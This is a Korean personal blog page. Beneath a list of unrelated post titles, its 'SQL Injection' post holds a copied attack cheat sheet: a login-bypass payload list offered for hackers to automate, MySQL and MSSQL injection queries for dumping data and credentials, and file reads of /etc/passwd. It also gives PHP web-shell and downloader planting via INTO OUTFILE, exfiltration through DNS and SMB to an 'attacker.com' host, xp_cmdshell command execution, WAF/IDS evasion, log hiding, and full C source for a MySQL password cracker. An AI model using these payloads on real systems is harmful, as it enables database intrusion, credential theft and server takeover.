'분류 전체보기'에 해당되는 글 152건

  1. 2021.05.09 dia(1.73) by yangdaegam
  2. 2013.01.16 SQL Injection by yangdaegam 2
  3. 2012.05.04 자식에게 천국을 가르쳐주는 방법 by yangdaegam
  4. 2012.04.12 내 마음대로 2012.04.11 총선 통계 by yangdaegam
  5. 2012.03.16 상대방을 화나게 하는 방법 by yangdaegam
  6. 2012.03.15 해외 부모들의 육아법 어떻게 다를까? by yangdaegam
  7. 2012.02.07 KarmaSheeTra by yangdaegam
  8. 2012.02.01 음악을 좋아하는 아버지와 아들,딸 by yangdaegam
  9. 2012.01.27 칭찬의 역효과(마누라들 필독) by yangdaegam
  10. 2012.01.27 [펌] 어느 학원 강사의 당부글.....애들 사교육 하지 마세요 by yangdaegam
  11. 2012.01.26 내 딸을 위한 여자 방!@_@! by yangdaegam
  12. 2011.08.02 TOOOOOOOOOOOOOLS by yangdaegam
  13. 2011.07.23 존슨즈 테스트 ㅋㅋ by yangdaegam
  14. 2011.07.12 임산부 심리 어드바이스. by yangdaegam
  15. 2011.07.07 부부싸움 잘하는 만화,마조새디-_- by yangdaegam

dia(1.73)

2021. 5. 9. 13:40 by yangdaegam

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

SQL Injection

WORK/SECURITY 2013. 1. 16. 09:22



SQL Injection이란?

http://en.wikipedia.org/wiki/SQL_injection


정보 주르륵.



Normal SQL Injection (MySQL)

Normal SQL Injection using encapsulated data. (MySQL)

Blind SQL Injection to throw an error to validate that encapsulation isn’t working. The goal here is to throw an error to cause the application to show us that it is not encapsulating quotes correctly. (MySQL)

Blind SQL Injection creating an error using EXEC. (MySQL)

Blind SQL Injection detection (this shouldn’t give us the same result if filtering is in place as we would get if we excluded the AND 1 = 1 part. If it does give us the same result it shows that the application is. (MySQL)

Blind SQL Injection to attempt to locate tablenames by brute force iteration through potential names (you’ll have to rename tablenames until you find a match). (MySQL)

Using the USER_NAME() function in SQL Server to tell us if the user is running as the administrator. (SQL)

Evading escapes with backslashes (this assumes the application comments out a single quote with another single quote and by introducing a backslash before it, it comments out the singlequote that is added by the filter). This type of filter is applied by mySQL’s mysql_real_escape_string() and PERL’s DBD method $dbh→quote(). (MySQL/SQL)

More blind SQL Injection by attempting to create an error using the backslash method seen above. (MySQL/SQL)

Creating errors by calling fake tables. This can help expose vulnerable applications by attempting to create an error by calling tables that are nonexistant (try this with and without the quotes). (MySQL/SQL)

Dumping usernames (assuming there is a username table and quotes are not escaped). (MySQL/SQL)

Enumerating through database table names. By changing the 116 to different numbers you can use logrithmic reduction to find the first char of the database table name. Then iterating through the first 1 in 1, 1 you can eventually get the whole table name. Originally found by Kevin Spett. (SQL)

Finding user supplied tables using the sysObjects table in SQL Server. (SQL)

Bypassing filter evasion using comment tags. (SQL)



===========================================================================================================================

This list can be used by Hackers when testing for SQL injection authentication bypass.A Hacker can use it manually or through burp in order to automate the process.If you have any other suggestions please feel free to leave a comment in order to improve and expand the list.

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

===========================================================================================================================

DB별 값.


http://pentestmonkey.net/category/cheat-sheet/sql-injection

http://www.hakim.ws/2012/07/referencia-para-inyeccion-sql/



이게 제일 조으다.

http://www.websec.ca/kb/sql_injection

    MySQL

    Default Databases

    mysqlRequires root privileges
    information_schemaAvailalble from version 5 and higher

    Testing Injection

    False means the query is invalid (MySQL errors/missing content on website)

    True means the query is valid (content is displayed as usual)

    Given the query SELECT * FROM Table WHERE id = '1';

    'False
    ''True
    "False
    ""True
    \False
    \\True

    Example:
    • SELECT * FROM Articles WHERE id = '1''';
    • SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

    Note:

    • You can use as many apostrophes and quotations as you want as long as they pair up.
    • It is also possible to continue the statement after the chain of quotes.
    • Quotes escape quotes.

    Comment Out Query

    The following can be used to comment out the rest of the query after your injection:

    #Hash comment
    /*C-style comment
    -- -SQL comment
    ;%00Nullbyte
    `Backtick

    Examples:
    • SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
    • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

    Note:

    • The backtick can only be used to end a query when used as an alias.

    Testing Version

    • VERSION()
    • @@VERSION
    • @@GLOBAL.VERSION

    Example:
    • True if MySQL version is 5.
    • SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';

    Note:

    • Output will contain -nt-log in case the DBMS runs on a Windows based machine.

    Database Credentials

    Tablemysql.user
    Columnsuser, password
    Current Useruser(), current_user(), current_user, system_user(), session_user()

    Examples:
    • SELECT current_user;
    • SELECT CONCAT_WS(0x3A, userpassword) FROM mysql.user WHERE user = 'root'-- (Privileged)

    Database Names

    Tablesinformation_schema.schemata, mysql.db
    Columnsschema_name, db
    Current DBdatabase(), schema()

    Examples:
    • SELECT database();
    • SELECT schema_name FROM information_schema.schemata;
    • SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

    Server Hostname

    • @@HOSTNAME

    Example:
    • SELECT @@hostname;

    Server MAC Address

    The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.

    • UUID()

    Output:
    • aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;

    Note:

    • May return a 48-bit random string instead of the MAC address on some Operating Systems.

    Tables and Columns

    Determining number of columns

      ORDER BY n+1;

    Note:

    • Keep incrementing the number until you get a False response.


    Example:

      Given the query SELECT username, password, permission FROM Users WHERE id = '1';

      1' ORDER BY 1--+True
      1' ORDER BY 2--+True
      1' ORDER BY 3--+True
      1' ORDER BY 4--+False - Query is only using 3 columns
      -1' UNION SELECT 1,2,3--+True

    Retrieving Tables

    UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

    Note:

    • version=9 for MySQL 4
    • version=10 for MySQL 5

    Retrieving Columns

    UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

    Retrieving Multiple Tables/Columns at once

    • SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

    Example:
    • SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

    Output:
      [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
      [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
      [ information_schema ] >CHARACTER_SETS > DESCRIPTION
      [ information_schema ] >CHARACTER_SETS > MAXLEN
      [ information_schema ] >COLLATIONS > COLLATION_NAME
      [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
      [ information_schema ] >COLLATIONS > ID
      [ information_schema ] >COLLATIONS > IS_DEFAULT
      [ information_schema ] >COLLATIONS > IS_COMPILED
      						

    • SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

    Example:
    • SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';

    Output:
      Table: talk_revisions
      Column: revid
      
      Table: talk_revisions
      Column: userid
      
      Table: talk_revisions
      Column: user
      
      Table: talk_projects
      Column: priority
      					

    Find Tables from Column Name

    SELECT table_name FROM information_schema.columns WHERE column_name = 'username';Finds the table names for any columns named username.
    SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';Finds the table names for any columns that contain the word user.

    Find Columns from Table Name

    SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';Finds the columns for the Users table.
    SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';Finds the column names for any tables that contain the word user.

    Find out current query

    SELECT info FROM information_schema.processlistAvailable starting from MySQL 5.1.7.

    Avoiding the use of quotations

    SELECT * FROM Users WHERE username = 0x61646D696EHex encoding.
    SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)CHAR() Function.

    String Concatenation

    SELECT 'a' 'd' 'mi' 'n';
    SELECT CONCAT('a', 'd', 'm', 'i', 'n');
    SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
    SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

    Note:

    • CONCAT() will return NULL if any of its arguements is NULL. Instead use CONCAT_WS() .
    • The first argument of CONCAT_WS() defines the separator for the rest of its arguments.

    Conditional Statements

    CASE
    IF()
    IFNULL()
    NULLIF()

    Example:
    • SELECT IF(1=1, true, false);
    • SELECT CASE WHEN 1=1 THEN true ELSE false END;

    Timing

    SLEEP()MySQL 5
    BENCHMARK()MySQL 4/5

    Example:
    • ' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

    Privileges

    File Privileges

    The following queries can help determine the FILE privileges for a given user.

    SELECT file_priv FROM mysql.user WHERE user = 'username';Root privileges requiredMySQL 4/5
    SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';No privileges requiredMySQL 5

    Reading Files

    Files can be read if the user has FILE privileges.

    • LOAD_FILE()

    Example:
    • SELECT LOAD_FILE('/etc/passwd');
    • SELECT LOAD_FILE(0x2F6574632F706173737764);

    Note:

    • File must be located on the server host.
    • The basedirectory for LOAD_FILE() is @@datadir .
    • The file must be readable by the MySQL user.
    • The file size must be less than max_allowed_packet.
    • The default size for @@max_allowed_packet is 1047552 bytes.

    Writing Files

    Files can be created if the user has FILE privileges.

    • INTO OUTFILE/DUMPFILE

    Examples:
    • To write a PHP shell:
    • SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

    • and then access it at:
    • http://localhost/shell.php?c=cat%20/etc/passwd
    • To write a downloader:
    • SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'

    • and then access it at:
    • http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

    Note:

    • Files cannot be overwritten with INTO OUTFILE .
    • INTO OUTFILE must be the last statement in the query.
    • There is no way to encode the pathname, so quotes are required.

    Out Of Band Channeling

    DNS Requests

    SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));

    SMB Requests

    ' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

    Stacked Queries

    Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.

    The PDO_MYSQL driver supports stacked queries. The MySQLi (Improved Extension) driver also supports stacked queries through the multi_query() function.


    Examples:
    • SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
    • SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

    MySQL-specific code

    MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.


    Examples:
    • UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
    • SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);

    Note:

    • The first example returns the version; it uses a UNION with 2 columns.
    • The second example demonstrates how this can be useful for bypassing a WAF/IDS.

    Fuzzing and Obfuscation

    Allowed Intermediary Characters

    The following characters can be used as whitespaces.

    09Horizontal Tab
    0ANew Line
    0BVertical Tab
    0CNew Page
    0DCarriage Return
    A0Non-breaking Space
    20Space

    Example:
    • '%0A%09UNION%0CSELECT%A0NULL%20%23

    Parentheses can also be used to avoid the use of spaces.

    28(
    29)

    Example:
    • UNION(SELECT(column)FROM(table))

    Allowed Intermediary Characters after AND/OR

    20Space
    2B+
    2D-
    7E~
    21!
    40@

    Example:
    • SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

    Note:

    • dual is a dummy table which can be used for testing.

    Obfuscating with Comments

    Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.

    Example:
    • 1'# 
      AND 0-- 
      UNION# I am a comment! 
      SELECT@tmp:=table_name x FROM-- 
      `information_schema`.tables LIMIT 1# 

    URL Encoded the injection would look like:

    • 1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23

    Certain functions can also be obfuscated with comments and whitespaces.

    • VERSION/**/%A0 (/*comment*/)

    Encodings

    Encoding your injection can sometimes be useful for WAF/IDS evasion.

    URL EncodingSELECT %74able_%6eame FROM information_schema.tables;
    Double URL EncodingSELECT %2574able_%256eame FROM information_schema.tables;
    Unicode EncodingSELECT %u0074able_%u6eame FROM information_schema.tables;
    Invalid Hex Encoding (ASP)SELECT %tab%le_%na%me FROM information_schema.tables;

    Avoiding Keywords

    If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without using encodings.

    • information_schema.tables
    Spacesinformation_schema . tables
    Backticks`information_schema`.`tables`
    Specific Code/*!information_schema.tables*/
    Alternative Namesinformation_schema.partitions
    information_schema.statistics
    information_schema.key_column_usage
    information_schema.table_constraints

    Note:

    • The alternate names may depend on a PRIMARY Key being present in the table.

    Operators

    AND &&Logical AND
    =Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
    :=Assign a value
    BETWEEN ... AND ...Check whether a value is within a range of values
    BINARYCast a string to a binary string
    &Bitwise AND
    ~Invert bits
    |Bitwise OR
    ^Bitwise XOR
    CASECase operator
    DIVInteger division
    /Division operator
    <=>NULL-safe equal to operator
    =Equal operator
    >=Greater than or equal operator
    >Greater than operator
    IS NOT NULLNOT NULL value test
    IS NOTTest a value against a boolean
    IS NULLNULL value test
    ISTest a value against a boolean
    <<Left shift
    <=Less than or equal operator
    <Less than operator
    LIKESimple pattern matching
    -Minus operator
    % or MODModulo operator
    NOT BETWEEN ... AND ...Check whether a value is not within a range of values
    != <>Not equal operator
    NOT LIKENegation of simple pattern matching
    NOT REGEXPNegation of REGEXP
    NOT !Negates value
    || ORLogical OR
    +Addition operator
    REGEXPPattern matching using regular expressions
    >>Right shift
    RLIKESynonym for REGEXP
    SOUNDS LIKECompare sounds
    *Multiplication operator
    -Change the sign of the argument
    XORLogical XOR

    Constants

    current_user
    null, \N
    true, false

    Password Hashing

    Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:

    PASSWORD('mypass')6f8c114b58f2ce9e

    As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:

    PASSWORD('mypass')*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

    Password Cracking

    Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.

    A Metasploit module for JTR can be found here.

    MySQL < 4.1 Password Cracker

    This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

      /* This program is public domain. Share and enjoy.
      *
      * Example:
      * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
      * $ MySQLfast 6294b50f67eda209
      * Hash: 6294b50f67eda209
      * Trying length 3
      * Trying length 4
      * Found pass: barf
      *
      * The MySQL password hash function could be strengthened considerably
      * by:
      * - making two passes over the password
      * - using a bitwise rotate instead of a left shift
      * - causing more arithmetic overflows
      */
      
      #include <stdio.h>
      
      typedef unsigned long u32;
      
      /* Allowable characters in password; 33-126 is printable ascii */
      #define MIN_CHAR 33
      #define MAX_CHAR 126
      
      /* Maximum length of password */
      #define MAX_LEN 12
      
      #define MASK 0x7fffffffL
      
      int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
      {
        int i, c;
        u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
        u32 newstate1, newstate2, newstate3;
        u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
        u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
        i = -1;
        sum = 7;
        state1_ary[0] = 1345345333L;
        state2_ary[0] = 0x12345671L;
      
        while (1) {
          while (i < stop) {
            i++;
            pass_ary[i] = MIN_CHAR;
            step_ary[i] = (state1_ary[i] & 0x3f) + sum;
            xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
            sum += MIN_CHAR;
            state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
            state2_ary[i+1] = state2_ary[i]
              + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
          }
      
          state1 = state1_ary[i+1];
          state2 = state2_ary[i+1];
          step = (state1 & 0x3f) + sum;
          xor1 = step*MIN_CHAR + (state1 << 8);
          xor2 = (state2 << 8) ^ state1;
      
          for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
            newstate2 = state2 + (xor1 ^ xor2);
            newstate1 = state1 ^ xor1;
      
            newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
            div = (newstate1 & 0x3f) + sum + c;
            diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
            if (diff % div != 0) continue;
            d = diff / div;
            if (d < MIN_CHAR || d > MAX_CHAR) continue;
      
            div = (newstate3 & 0x3f) + sum + c + d;
            diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
            if (diff % div != 0) continue;
            e = diff / div;
            if (e < MIN_CHAR || e > MAX_CHAR) continue;
      
            pass_ary[i+1] = c;
            pass_ary[i+2] = d;
            pass_ary[i+3] = e;
            return 1;
          }
      
          while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
            sum -= MAX_CHAR;
            i--;
          }
          if (i < 0) break;
          pass_ary[i]++;
          xor_ary[i] += step_ary[i];
          sum++;
          state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
          state2_ary[i+1] = state2_ary[i]
            + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
        }
      
        return 0;
      }
      
      void crack(char *hash)
      {
        int i, len;
        u32 targ1, targ2, targ3;
        int pass[MAX_LEN];
      
        if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
          printf("Invalid password hash: %s\n", hash);
          return;
        }
        printf("Hash: %08lx%08lx\n", targ1, targ2);
        targ3 = targ2 - targ1;
        targ3 = targ2 - ((targ3 << 8) ^ targ1);
        targ3 = targ2 - ((targ3 << 8) ^ targ1);
        targ3 = targ2 - ((targ3 << 8) ^ targ1);
      
        for (len = 3; len <= MAX_LEN; len++) {
          printf("Trying length %d\n", len);
          if ( crack0(len-4, targ1, targ3, pass) ) {
            printf("Found pass: ");
            for (i = 0; i < len; i++)
              putchar(pass[i]);
            putchar('\n');
            break;
          }
        }
        if (len > MAX_LEN)
          printf("Pass not found\n");
      }
      
      int main(int argc, char *argv[])
      {
        int i;
        if (argc <= 1)
          printf("usage: %s hash\n", argv[0]);
        for (i = 1; i < argc; i++)
          crack(argv[i]);
        return 0;
      }
      				

    MSSQL

    Default Databases

    pubsNot available on MSSQL 2005
    modelAvailable in all versions
    msdbAvailable in all versions
    tempdbAvailable in all versions
    northwindAvailable in all versions
    information_schemaAvailalble from MSSQL 2000 and higher

    Comment Out Query

    The following can be used to comment out the rest of the query after your injection:

    /*C-style comment
    --SQL comment
    ;%00Nullbyte

    Example:
    • SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
    • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

    Testing Version

    • @@VERSION

    Example:
    • True if MSSQL version is 2008.
    • SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

    Note:

    • Output will also contain the version of the Windows Operating System.

    Database Credentials

    Database..Tablemaster..syslogins, master..sysprocesses
    Columnsname, loginame
    Current Useruser, system_user, suser_sname(), is_srvrolemember('sysadmin')
    Database CredentialsSELECT user, password FROM master.dbo.sysxlogins

    Example:
    • Return current user:
    • SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

    • Check if user is admin:
    • SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

    Database Names

    Database.Tablemaster..sysdatabases
    Columnname
    Current DBDB_NAME(i)

    Examples:
    • SELECT DB_NAME(5);
    • SELECT name FROM master..sysdatabases;

    Server Hostname

    @@SERVERNAME
    SERVERPROPERTY()

    Examples:
    • SELECT SERVERPROPERTY('productversion')SERVERPROPERTY('productlevel'),SERVERPROPERTY('edition');

    Note:

    • SERVERPROPERTY() is available from MSSQL 2005 and higher.

    Tables and Columns

    Determining number of columns

      ORDER BY n+1;

    Example:

      Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

      1' ORDER BY 1--True
      1' ORDER BY 2--True
      1' ORDER BY 3--True
      1' ORDER BY 4--False - Query is only using 3 columns
      -1' UNION SELECT 1,2,3--True

    Note:

    • Keep incrementing the number until you get a False response.


    The following can be used to get the columns in the current query.

      GROUP BY / HAVING

    Example:

      Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

      1' HAVING 1=1--Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
      1' GROUP BY username HAVING 1=1--Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
      1' GROUP BY username, password HAVING 1=1--Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
      1' GROUP BY username, password, permission HAVING 1=1--No Error

    Note:

    • No error will be returned once all columns have been included.

    Retrieving Tables

    We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

    UNION SELECT name FROM master..sysobjects WHERE xtype='U'

    Note:

    • Xtype = 'U' is for User-defined tables. You can use 'V' for views.

    Retrieving Columns

    We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

    UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

    Retrieving Multiple Tables/Columns at once

    The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

    • Create Temp Table/Column and Insert Data:
    • AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
    • Dump Content:
    • AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
    • Delete Table:
    • AND 1=0; DROP TABLE TMP_DB;

    An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

    SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')SQL Server 2005+

    Note:

    • You can encode your query in hex to "obfuscate" your attack.
    • ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

    Avoiding the use of quotations

    SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

    String Concatenation

    SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
    SELECT 'a'+'d'+'mi'+'n';

    Conditional Statements

    IF
    CASE

    Example:
    • IF 1=1 SELECT 'true' ELSE SELECT 'false';
    • SELECT CASE WHEN 1=1 THEN true ELSE false END;

    Note:

    • IF cannot be used inside a SELECT statement.

    Timing

    • WAITFOR DELAY 'time_to_pass';
    • WAITFOR TIME 'time_to_execute';

    Example:
    • IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

    OPENROWSET Attacks

    SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

    System Command Execution

    Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

    • EXEC master.dbo.xp_cmdshell 'cmd';

    Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:

    EXEC sp_configure 'show advanced options', 1
    EXEC sp_configure reconfigure
    EXEC sp_configure 'xp_cmdshell', 1
    EXEC sp_configure reconfigure

    Alternatively, you can create your own procedure to achieve the same results:

    DECLARE @execmd INT
    EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
    EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

    If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

    EXEC sp_configure 'show advanced options', 1
    EXEC sp_configure reconfigure
    EXEC sp_configure 'OLE Automation Procedures', 1
    EXEC sp_configure reconfigure

    Example:
    • Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
    • ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
    • Dump Content:
    • ' UNION SELECT tbl FROM TMP_DB--
    • Delete Table:
    • ' DROP TABLE TMP_DB--

    SP_PASSWORD (Hiding Query)

    Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

    • SP_PASSWORD

    Example:
    • ' AND 1=1--sp_password

    Output:
      -- 'sp_password' was found in the text of this event.
      -- The text has been replaced with this comment for security reasons.
      					

    Stacked Queries

    MSSQL supports stacked queries.

    Example:
    • ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

    Fuzzing and Obfuscation

    Allowed Intermediary Characters

    The following characters can be used as whitespaces.

    01Start of Heading
    02Start of Text
    03End of Text
    04End of Transmission
    05Enquiry
    06Acknowledge
    07Bell
    08Backspace
    09Horizontal Tab
    0ANew Line
    0BVertical Tab
    0CNew Page
    0DCarriage Return
    0EShift Out
    0FShift In
    10Data Link Escape
    11Device Control 1
    12Device Control 2
    13Device Control 3
    14Device Control 4
    15Negative Acknowledge
    16Synchronous Idle
    17End of Transmission Block
    18Cancel
    19End of Medium
    1ASubstitute
    1BEscape
    1CFile Separator
    1DGroup Separator
    1ERecord Separator
    1FUnit Separator
    20Space
    25%

    Examples:
    • S%E%L%E%C%T%01column%02FROM%03table;
    • A%%ND 1=%%%%%%%%1;

    Note:

    • The percentage signs in between keywords is only possible on ASP(x) web applications.


    The following characters can be also used to avoid the use of spaces.

    22"
    28(
    29)
    5B[
    5D]

    Example:
    • UNION(SELECT(column)FROM(table));
    • SELECT"table_name"FROM[information_schema].[tables];

    Allowed Intermediary Characters after AND/OR

    01 - 20Range
    21!
    2B+
    2D-
    2E.
    5C\
    7E~

    Example:
    • SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

    Note:

    • The backslash does not seem to work with MSSQL 2000.

    Encodings

    Encoding your injection can sometimes be useful for WAF/IDS evasion.

    URL EncodingSELECT %74able_%6eame FROM information_schema.tables;
    Double URL EncodingSELECT %2574able_%256eame FROM information_schema.tables;
    Unicode EncodingSELECT %u0074able_%u6eame FROM information_schema.tables;
    Invalid Hex Encoding (ASP)SELECT %tab%le_%na%me FROM information_schema.tables;
    Hex Encoding' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
    HTML Entities (Needs to be verified)%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

    Password Hashing

